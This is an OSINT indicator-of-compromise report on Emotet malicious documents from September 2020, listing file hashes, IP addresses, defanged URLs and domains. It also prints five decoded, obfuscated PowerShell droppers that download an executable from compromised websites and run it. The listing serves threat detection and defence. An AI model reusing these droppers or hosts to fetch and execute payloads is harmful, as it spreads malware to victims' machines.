Emotet_Doc_out_2020-09-25_13_58.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
338374311ec35dc25851d78e8010631a9916964ac819276eedd10d43abc31f85
56449c1547f4f8c26d45ff0c90715b0174ee6d994f9818886dd1e4b392d63615
56449c1547f4f8c26d45ff0c90715b0174ee6d994f9818886dd1e4b392d63615
18e942439d79f97e34245158394275fae160da61d8abc66b9f45496a11e5a22e
8a73bdca97395b9f659104c200734008fe685faff6734fc31ce0cd575090f1b2
fe9b0b3adac87d1fe5b13863ff7ab54660757a7bc0b4996cfe241ff357c57b3d
fe9b0b3adac87d1fe5b13863ff7ab54660757a7bc0b4996cfe241ff357c57b3d
9c89759e237878a95c83cded3d21a6adc6f8d4ed97c3d955138c7dfd1b713334
9c89759e237878a95c83cded3d21a6adc6f8d4ed97c3d955138c7dfd1b713334
dfdd6e33cdcbefd5800f6e68d63cca0c0d542750c206f4b583f9b1dee47ca307
dfdd6e33cdcbefd5800f6e68d63cca0c0d542750c206f4b583f9b1dee47ca307
eac747b64de29080e128302ff648719d8fefcbbce47c9065edefa2ea5862f74d
a480137b781966afdb9faf717461bdfa384061fd21da898b447d924801063c60
801b78c4d39faa6de8801f39a25c2a6d7427bb18ef8abcad926c745c2d0b1e46
d4f8effbd6965dc96f14d41074b11b187b8173c9f20c950f26dc1dfd243f0a4a
7e262533eeb4db4a15145f80b5cd17c54723b81f4dc194da6d449656d5d039a1
b87c4ca399ee45fd85c5ce0258a8cbb2085f12e3f30928730ad2ed2221ed6cc1
1b4bdeafbb09007e953a6160fe436d4804b6edb5069a03724183c8299f6e5ac5
90d98540904cb297db85c8cbc30b1510b43c16f60b12a899a565740a3ffdd735
0f674723c07c5218324a68f25f78d92f4f7f8e4662c3856380643e948187a4ca
7f94ac769521418a4ee278c934ad8dcca8f0b9daa46d8877c7e63038e40018be
6119c776a665ceeae14b6c41f368a0c8fc38c84de92a8908012785d47cba3585
211629a0074efa84bdd50ffec79600731c2338a2c25f9f39f467146a13063a09
7af65b3e6ff098ff2470d97bd7516a4be13b0853251bd92c07bea314fcc3a209
25935544dc7b71e58fec2bfb479a379469a9f075b09506a4062a7f4a4e5eff80
2eb0e126883c1dc1eeede8fdaef687a066e55219976ade6e4bc2f567b6e615b4
f849882d78305878e0191d57d434adbfa3927d7e05afeb22d3f46f8e5c971a14
f849882d78305878e0191d57d434adbfa3927d7e05afeb22d3f46f8e5c971a14
6dddc5d95dd2e82c04b2c55b36a5d380d52bb2f7d9db5ea56f825b1ad6869735
63c70c3f9100ecbd5ceed01c952d8fa54927a057e656b6b29e6013c8fc1dd735
63c70c3f9100ecbd5ceed01c952d8fa54927a057e656b6b29e6013c8fc1dd735
9642d7ecfc9f48956724d522e3fffd6570321e109b7a53648b19ecd3265a45ad
865853827735f2600f0cf925ec19dd70fe6cd97980a8dc93e8b28d1506fea2c3
235c1596d946f273671bd85c3edbd0a70adc0108e4e4c8c4b67c9fbd4665e4a3
026c53fa6a6a26545fa5127ed42f7c3fd6e9ec0edafbf017d8eae5a8f2cc6f87
63e4a64ec861c7b00d27985d7cbdde693dafaa9c83c3cd4ef1ced790eb003e7c
1157d25d77ad7dd6a0c899536bc79a3110cf1ac31f5d565dd6873ccd8b656dec
1157d25d77ad7dd6a0c899536bc79a3110cf1ac31f5d565dd6873ccd8b656dec
48a443d0ad6f5a7221d22b942387069852f6bb26e9b7021896f0e00bb686e8cf
a8e140780a126d73e0ab124a2d5e7c35a0cb220d18b52538de0bb9661c626d8f
f2e64fe1ed9f3442db2ad45df9ce933e72787821b49def5f476fe3665d5f6908
15b9c3b9b200a84dbbdcb49bde892e3f0a145c165019893c519cc67e8fafa067
679372a330a482eb1eac0878fea681fba87a3282cde739609dd40db33cd927c6
1cb066a39b303c4c2ead666ddeb435a81552ef77db4ac45ea49e8959c78eba39
d748371ce483b059051893015b0aa4bb9c4d406d198537c26f4bfa07136685b4
01fda3b854d03d84f18a3d9f4a43f0e2eab495e13c2732b9632117fcfba40f3d
2890d3ddbc287a674ab46cd243233f0fa7549d3cfe93134fad193e18c3d5a53c


IPs:
101.200.55.14
104.24.96.237
104.27.171.56
104.28.25.139
104.28.26.13
108.179.200.35
125.143.56.129
150.95.105.144
162.241.85.131
166.62.108.196
172.67.163.173
172.67.191.219
176.65.242.190
181.88.192.14
181.88.192.21
181.88.192.49
185.189.49.216
186.64.117.145
192.185.94.102
195.201.163.40
198.211.112.209
202.67.13.163
208.91.199.181
35.208.147.239
35.208.31.165
35.209.143.49
35.238.216.189
42.118.227.41
45.147.17.249
47.74.182.226
5.150.195.197
54.232.80.214
71.185.193.253
72.10.48.114
74.220.203.216
75.103.81.81
95.110.200.187



URLs:
hxxp://wynn838.com/wp-content/Eo/
hxxp://ottimade.com/wp-content/E/
hxxps://konican.com/cgi-bin/gz/
hxxp://glassesnepal.com/gxlaf/tQ6/
hxxp://kharazmischl.com/w/k/
hxxps://lojaskock.com.br/BACKUP/AW/
hxxp://secrice.com/writing/2003/0nI/
hxxp://bavhome.com/wp-content/td/
hxxp://hercinovic.com/cgi-bin/mZt/
hxxps://jeffdahlke.com/css/3u/
hxxp://calledtochange.org/CalledtoChange/V/
hxxp://daoisthealing.com/cgi-bin/c/
hxxps://scyzm.net/wp-content/j/
hxxp://www.bismarjeparamebel.com/u/pCp/
hxxp://h2a1.com/uf8vu/U/
hxxp://www.almakaaseb.com/wp-includes/P/
hxxp://theitnconsultant.com/wp-includes/t/
hxxp://carstarai.com/icon/D/
hxxp://bug.chihuahuamediaprojects.com/wp-includes/u/
hxxps://aecc.dev.caveim.net/wp-admin/dZ/
hxxp://phimsex.2xxhub.com/wp-content/esp/5ur8drbma/6qH/
hxxp://fulfillmententertainment.com/cgi-bin/WrD/
hxxps://www.getwayimmigration.com/vqg1j3/1BwbZNN/
hxxp://vidadohomem.com/wp-content/O2ir3vx/
hxxp://analyticscosm.com/cgi-bin/PwlMy/
hxxp://www.angiathinh.com/wp-admin/KpNfK/
hxxp://twoparrot.com/wp-includes/s7aGv/
hxxp://ieee-acts.com/mainpage/vG/
hxxp://transfersuvan.com/wp-admin/1J/
hxxp://da-industrial.com/js/aX/
hxxp://daprofesional.com/data4/aE/
hxxp://degepro.com/eTrac/px/
hxxp://hoagietesting10.com/wp-content/a/
hxxps://lifeadvicer.com/wp-content/FX/
hxxps://bangkokcityjewel.com/cgi-bin/F3/


Domains:
wynn838.com
ottimade.com
konican.com
glassesnepal.com
kharazmischl.com
lojaskock.com.br
secrice.com
bavhome.com
hercinovic.com
jeffdahlke.com
calledtochange.org
daoisthealing.com
scyzm.net
www.bismarjeparamebel.com
h2a1.com
www.almakaaseb.com
theitnconsultant.com
carstarai.com
bug.chihuahuamediaprojects.com
aecc.dev.caveim.net
phimsex.2xxhub.com
fulfillmententertainment.com
www.getwayimmigration.com
vidadohomem.com
analyticscosm.com
www.angiathinh.com
twoparrot.com
ieee-acts.com
transfersuvan.com
da-industrial.com
daprofesional.com
degepro.com
hoagietesting10.com
lifeadvicer.com
bangkokcityjewel.com


Decoded Base64 Powershell:
<���^,$A17_t6d=Sduiieu;
.new-item $ENv:USErPRoFIlE\TrCPz0x\BOd4Yr8\ -itemtype directOrY;
[Net.ServicePointManager]::"s`e`cuRiTyprO`ToCOL" = tls12, tls11, tls;
$Cx3sljy = Ik_uji4hy;
$G9yyox2=Mvoyl8o;
$Ekgkl3r=$env:userprofileUqeTrcpz0xUqeBod4yr8Uqe."REP`LaCe"Uqe,[StRInG][char]92$Cx3sljy.exe;
$Svpo795=Mnsn249;
$Hzhbkzf=.new-object net.WebClIEnT;
$Pffx7_x=hxxp://wynn838.com/wp-content/Eo/
hxxp://ottimade.com/wp-content/E/
hxxps://konican.com/cgi-bin/gz/
hxxp://glassesnepal.com/gxlaf/tQ6/
hxxp://kharazmischl.com/w/k/
hxxps://lojaskock.com.br/BACKUP/AW/
hxxp://secrice.com/writing/2003/0nI/."SP`lIt"[char]42;
$Jpwfgb1=Mqy0tx_;
foreach$E_e2alx in $Pffx7_x{try{$Hzhbkzf."d`OwNlOa`dFIle"$E_e2alx, $Ekgkl3r;
$Eash4ji=Csgbeob;
If &Get-Item $Ekgkl3r."L`engTh" -ge 33091 {&Invoke-Item$Ekgkl3r;
$Sm7kicz=M9pk7x6;
break;
$Lh1l17d=Icy7z4c}}catch{}}$Al5le39=Vmkm4ai<���^,$B6t0ggg=Pawpgva;
.new-item $ENv:uSerpRoFiLe\x_x5VZr\F8BYeaO\ -itemtype DiReCtOry;
[Net.ServicePointManager]::"se`c`U`Rity`protOcol" = tls12, tls11, tls;
$Hurphwi = Yyxno3;
$Lbjy0d1=Ggxnmdj;
$Ds676eo=$env:userprofile{0}X_x5vzr{0}F8byeao{0}  -F[chAR]92$Hurphwi.exe;
$S53iucc=P761qnb;
$Vyeyrbc=&new-object net.WEbclIeNT;
$Z_h7_xa=hxxp://bavhome.com/wp-content/td/
hxxp://hercinovic.com/cgi-bin/mZt/
hxxps://jeffdahlke.com/css/3u/
hxxp://calledtochange.org/CalledtoChange/V/
hxxp://daoisthealing.com/cgi-bin/c/
hxxps://scyzm.net/wp-content/j/
hxxp://www.bismarjeparamebel.com/u/pCp/."S`pLiT"[char]42;
$Hgd98ti=W0njthy;
foreach$Ugfunaw in $Z_h7_xa{try{$Vyeyrbc."Do`W`NLOAdfi`LE"$Ugfunaw, $Ds676eo;
$Rm9uwte=Z6cciaw;
If .Get-Item $Ds676eo."L`eNgtH" -ge 37991 {.Invoke-Item$Ds676eo;
$Edg_moh=Anw147o;
break;
$Tbepr52=S0cqft7}}catch{}}$Lemesdn=T0wfsyg<���^,$E5e8mp8=Qvr9gqg;
&new-item $ENV:UsERProfiLE\EXyas68\X_XE08_\ -itemtype dIreCtOrY;
[Net.ServicePointManager]::"sEcU`R`iTY`ProT`oCol" = tls12, tls11, tls;
$Yb4x084 = Qicxrezc;
$Kdtinxb=Aqf3843;
$Ywm_t6r=$env:userprofile{0}Exyas68{0}X_xe08_{0}-f  [chAR]92$Yb4x084.exe;
$Mo8n_4q=Bs26mlb;
$Yl_cszo=.new-object NeT.webCLIent;
$Aegp_0c=hxxp://h2a1.com/uf8vu/U/
hxxp://www.almakaaseb.com/wp-includes/P/
hxxp://theitnconsultant.com/wp-includes/t/
hxxp://carstarai.com/icon/D/
hxxp://bug.chihuahuamediaprojects.com/wp-includes/u/
hxxps://aecc.dev.caveim.net/wp-admin/dZ/
hxxp://phimsex.2xxhub.com/wp-content/esp/5ur8drbma/6qH/."sP`lIt"[char]42;
$Bh0lo9j=L6f_a41;
foreach$Mpoikef in $Aegp_0c{try{$Yl_cszo."dOWn`Lo`A`DFiLE"$Mpoikef, $Ywm_t6r;
$I9a2311=Qzg78h1;
If .Get-Item $Ywm_t6r."LeN`gth" -ge 33997 {.Invoke-Item$Ywm_t6r;
$A116qlt=Z9exr4j;
break;
$Htpllnm=Jzz3nbi}}catch{}}$Luacav6=Mw43w0f<���^,$Kb7h7y2=K5uib48;
.new-item $ENV:USerProfILe\Yg9k_9t\oad70dS\ -itemtype DiRECTorY;
[Net.ServicePointManager]::"Se`CuRi`TY`pROTo`cOL" = tls12, tls11, tls;
$Acezk52 = Xagna69y8;
$H2dee9u=Ii0ubkq;
$Ppx62ha=$env:userprofileDUmYg9k_9tDUmOad70dsDUm."R`EPLace"DUm,[strIng][chAR]92$Acezk52.exe;
$Wfokj2d=Z08fsue;
$Ms_qwts=&new-object NET.WEBCliEnT;
$Qp8vkfs=hxxp://fulfillmententertainment.com/cgi-bin/WrD/
hxxps://www.getwayimmigration.com/vqg1j3/1BwbZNN/
hxxp://vidadohomem.com/wp-content/O2ir3vx/
hxxp://analyticscosm.com/cgi-bin/PwlMy/
hxxp://www.angiathinh.com/wp-admin/KpNfK/
hxxp://twoparrot.com/wp-includes/s7aGv/
hxxp://ieee-acts.com/mainpage/vG/."S`plIt"[char]42;
$Hsn_nl1=Rqry4n0;
foreach$Py9fu0e in $Qp8vkfs{try{$Ms_qwts."d`own`LoAdFIlE"$Py9fu0e, $Ppx62ha;
$Xu_3jwe=Q4ffape;
If .Get-Item $Ppx62ha."L`enGth" -ge 35204 {.Invoke-Item$Ppx62ha;
$Tjt9qeu=Tx4jpsw;
break;
$Ai9vm0z=Vmufuxj}}catch{}}$Stceq0r=Kmt_lki<���^,$R_45l3u=Kr2yn7h;
.new-item $ENv:userpRoFilE\KoXiR5r\As0JzMF\ -itemtype DirEcTORY;
[Net.ServicePointManager]::"Sec`UriT`yPRo`TOCOl" = tls12, tls11, tls;
$O1qd2g8 = Etlxn1aff;
$Ai3a7iu=K2ocdy6;
$Zxga22j=$env:userprofileQBuKoxir5rQBuAs0jzmfQBu."Rep`lACe"QBu,[sTRing][cHar]92$O1qd2g8.exe;
$Vad4mfk=Cfbs2__;
$Dxr3qr4=&new-object neT.wEbclient;
$Ryblo5_=hxxp://transfersuvan.com/wp-admin/1J/
hxxp://da-industrial.com/js/aX/
hxxp://daprofesional.com/data4/aE/
hxxp://degepro.com/eTrac/px/
hxxp://hoagietesting10.com/wp-content/a/
hxxps://lifeadvicer.com/wp-content/FX/
hxxps://bangkokcityjewel.com/cgi-bin/F3/."sp`LiT"[char]42;
$R63lfow=Cbqrqdq;
foreach$Ac92ba9 in $Ryblo5_{try{$Dxr3qr4."DOwN`L`oaDF`iLE"$Ac92ba9, $Zxga22j;
$Ux7abme=Yx81gcv;
If .Get-Item $Zxga22j."LENG`Th" -ge 28858 {&Invoke-Item$Zxga22j;
$Soj7tvq=Ozkz5za;
break;
$J1ed_xm=Xosr7mc}}catch{}}$A12zg3j=Lwrx5ge